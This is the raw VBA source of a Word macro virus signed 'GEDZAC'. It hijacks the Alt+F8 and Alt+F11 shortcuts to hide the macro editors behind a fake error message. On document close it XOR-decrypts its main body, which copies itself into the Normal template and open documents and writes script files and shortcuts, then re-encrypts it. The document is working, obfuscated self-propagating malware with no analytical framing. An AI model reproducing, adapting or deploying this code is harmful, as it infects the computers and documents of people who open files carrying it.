'GEDZAC Sub AutoExec(): On Error Resume Next Key8 = BuildKeyCode(wdKeyAlt, wdKeyF8): Key11 = BuildKeyCode(wdKeyAlt, wdKeyF11) Ktip = wdKeyCategoryCommand: KeyBindings.Add Ktip, "Keys", Key8: KeyBindings.Add Ktip, "Keys", Key11 End Sub Private Sub Document_Close(): On Error Resume Next: Call EncMacro(0): Call iMacro: Call EncMacro(1): End Sub Sub iMacro() 'Hi'Buuhu'Ubtrjb'Ibs 'Cnj'ptk'Ft'Hembds+'ath'Ft'Hembds+'aq/3.'Ft'Tsuni`+'i'Ft'Nisb`bu+'NTJ'Ft'Tsuni`+'QWfso'Ft'Tsuni`+'FWfso/.'Ft'Tsuni` 'Tbs'FC':'FdsnqbChdrjbis)QEWuhmbds)QEDhjwhibist)Nsbj/6.='Tbs'IS':'IhujfkSbjwkfsb)QEWuhmbds)QEDhjwhibist)Nsbj/6. 'Tbs'ptk':'DubfsbHembds/%PTdunws)Tobkk%.='Tbs'ath':'DubfsbHembds/%Tdunwsni`)AnkbT~tsbjHembds%. 'Na'KDftb/FC)Ifjb.';9'%`bc}fd%'Sobi 'aq/7.':'%[Qfkbunf)mw`)qet%='aq/6.':'%[MrknbsfWuficn)mw`)qet%='aq/5.':'%[Dfjwfjbish)mw`)qet%='aq/4.':'%[btdbifunh)mw`)qet%='aq/3.':'%[jntNjf`bibt)mw`)qet% 'Ufichjn}b='i':'Nis/Uic'-'2.='QWfso':'ath)@bsTwbdnfkAhkcbu/5.'!'aq/i. 'Na'Cnu/QWfso.':'%%'Sobi'AnkbDhw~'ath)@bsTwbdnfkAhkcbu/6.'!'%[ankb)qet%+'QWfso 'Na'FC)DhcbJhcrkb)DhrisHaKnibt'9'7'Sobi'FC)DhcbJhcrkb)CbkbsbKnibt'6+'FC)DhcbJhcrkb)DhrisHaKnibt 'Tbs'j':'ath)HwbiSbsAnkb/ath)@bsTwbdnfkAhkcbu/6.'!'%[np)cfs%.='NTJ':'j)UbfcFkk='j)Dkhtb 'FC)DhcbJhcrkb)NitbusKnibt'6+'NTJ='FC)Ifjb':'%`bc}fd% 'FWfso':'Twkns/Fwwkndfsnhi)Wfso+'%[%.='FWfso/5.':'FWfso/7.'!'%[%'!'FWfso/6. 'FdsnqbChdrjbis)Tofwbt)FccHKBHembds'+'QWfso+'Afktb+'Surb+'FWfso/5.'!'%[nisbuiy6[nbwkhub)bb%+'?+'Jnc/aq/i.+'5+'Kbi/aq/i..'*'2. 'Bktb 'FdsnqbChdrjbis)Tofwbt/6.)Qntnekb':'Surb 'Bic'Na 'Na'FdsnqbChdrjbis)Wfso';9'%%'Sobi'FdsnqbChdrjbis)Tfqb End Sub Private Function EncMacro(x) On Error Resume Next For i = 1 To Application.VBE.CodePanes.Count If Application.VBE.CodePanes(i).CodeModule.lines(1, 1) = "'GEDZAC" Then Set avc = Application.VBE.CodePanes(i).CodeModule For s = 8 To avc.CountOfLines - 21 If x = 0 Then avc.ReplaceLine s, u(Mid(avc.lines(s, 1), 2)) ElseIf x = 1 Then avc.ReplaceLine s, "'" & u(avc.lines(s, 1)) End If Next End If Next End Function Private Function u(s): On Error Resume Next: For i = 1 To Len(s): u = u & Chr(Asc(Mid(s, i, 1)) Xor 7): Next: End Function Sub Keys(): On Error Resume Next: MsgBox "Non Valid component", 16, "Error": End Sub